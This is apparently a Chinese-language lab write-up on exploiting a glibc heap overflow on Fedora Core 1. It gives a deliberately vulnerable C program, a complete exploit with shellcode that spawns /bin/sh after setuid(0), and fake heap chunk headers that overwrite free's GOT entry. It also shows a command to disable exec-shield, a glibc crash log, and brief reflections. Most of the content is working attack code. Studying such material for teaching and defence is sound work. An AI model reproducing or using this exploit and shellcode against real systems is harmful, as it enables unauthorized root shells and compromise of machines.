实验平台:Fedora Core 1(glibc-2.3.2-101)
实验前提:去掉该平台的堆执行保护:sysctl -w kernel.exec-shield=0
目标漏洞代码:
#//heap2.c
#include<stdlib.h>
#include<string.h>
int main(int argc,char *argv[])
{
char *buf1=malloc(300);
char *buf2=malloc(20);
strcpy(buf1,argv[1]);
free(buf1);
free(buf2);
return(0);
}
exploit
// heap exploit
#include <string.h>
#include <unistd.h>
#define FUNCTION_POINTER ( 0x080495f0 ) // using objdump: objdump -R ./heap2 | grep free
#define CODE_ADDRESS ( 0x08049608 + 2*4) // using ltrace:ltrace ./heap2 2>&1 | grep 300
#define VULN_SIZE 312
#define PREV_INUSE 0x01
int i;
char buf[1000];
char shellcode[] =
"\xeb\x0cppppssssffff" //\xeb\x0c是跳过12字节的十六进制表示,后面是随意的12个字符
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //Aleph One的著名shellcode
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(void)
{
int filler_len = (VULN_SIZE - 4*4) - (2*4 + strlen(shellcode)); //计算填充随意数据"B"的字节数
strcat(buf,"\xff\xff\xff\xff");
strcat(buf,"\xff\xff\xff\xff");
strcat(buf,shellcode);
for(i=0; i<filler_len; i++)
strcat(buf,"B");
strcat(buf,"\xf0\xff\xff\xff");
strcat(buf,"\xfc\xff\xff\xff");
int t=strlen(buf);
for(i=t; i<(t+4); i++)
buf[i] = ((unsigned long)(FUNCTION_POINTER-12) >> (i*8)) &255;
for(i=(t+4); i<(t+8); i++)
buf[i] = ((unsigned long)CODE_ADDRESS >> (i*8)) &255;
buf[(t+8)] = '\0';
execl("./heap2", "heap2", buf, NULL);
}
注意事项:1.一定要根据实际情况更改exploit里面的 FUNCTION_POINTER和CODE_ADDRESS后面的内存地址
2.去掉操作系统的执行保护措施
实验原理及更多实验代码参见:http://knight.segfaults.net/EE579/Heap%20overflow.htm
实验总结:开始我用的实验平台是Fedora Core 4(glibc-2.3.5-10),可是实验总是不成功,总是出现错误如下:
[root@Lynx gray]# ./heap2_exploit
*** glibc detected *** heap2: double free or corruption (!prev): 0x0846c008 ***
======= Backtrace: =========
/lib/libc.so.6[0x53e424]
/lib/libc.so.6(__libc_free+0x77)[0x53e95f]
heap2[0x8048445]
/lib/libc.so.6(__libc_start_main+0xc6)[0x4efde6]
heap2[0x8048361]
======= Memory map: ========
00263000-0026c000 r-xp 00000000 08:01 1213618 /lib/libgcc_s-4.0.0-20050520.so.1
0026c000-0026d000 rwxp 00009000 08:01 1213618 /lib/libgcc_s-4.0.0-20050520.so.1
004bd000-004d7000 r-xp 00000000 08:01 1213570 /lib/ld-2.3.5.so
004d7000-004d8000 r-xp 00019000 08:01 1213570 /lib/ld-2.3.5.so
004d8000-004d9000 rwxp 0001a000 08:01 1213570 /lib/ld-2.3.5.so
004db000-005ff000 r-xp 00000000 08:01 1213613 /lib/libc-2.3.5.so
005ff000-00601000 r-xp 00124000 08:01 1213613 /lib/libc-2.3.5.so
00601000-00603000 rwxp 00126000 08:01 1213613 /lib/libc-2.3.5.so
00603000-00605000 rwxp 00603000 00:00 0
00bad000-00bae000 r-xp 00bad000 00:00 0
08048000-08049000 r-xp 00000000 08:01 394654 /root/gray/heap2
08049000-0804a000 rw-p 00000000 08:01 394654 /root/gray/heap2
0846c000-0848d000 rw-p 0846c000 00:00 0 [heap]
b7e00000-b7e21000 rw-p b7e00000 00:00 0
b7e21000-b7f00000 ---p b7e21000 00:00 0
b7fd0000-b7fd1000 rw-p b7fd0000 00:00 0
b7fde000-b7fdf000 rw-p b7fde000 00:00 0
bfbc9000-bfbdf000 rw-p bfbc9000 00:00 0 [stack]
已放弃
自己很纠结,前后看了好几遍堆溢出攻击原理,用gdb调试了好几遍实验代码,都不管用。
后来看了好多前辈的文章,知道这与堆的执行保护有关,与glibc的版本有关,版本越高,一些防护措施越好,越不容易绕过。看来实验代码没有问题。那怎么去掉堆执行保护呢?这个以我目前的技术不太现实,找个没有这么完善的堆执行保护的操作系统吧,最后选择的是Fedora Core 1,实验顺利通过。
操作系统的防护措施与黑客的攻击手段的竞争从没有停止过,操作系统能出防护措施,黑客就会有Bypass的手段,操作系统再封堵。。。。技术得以不断进步发展。。。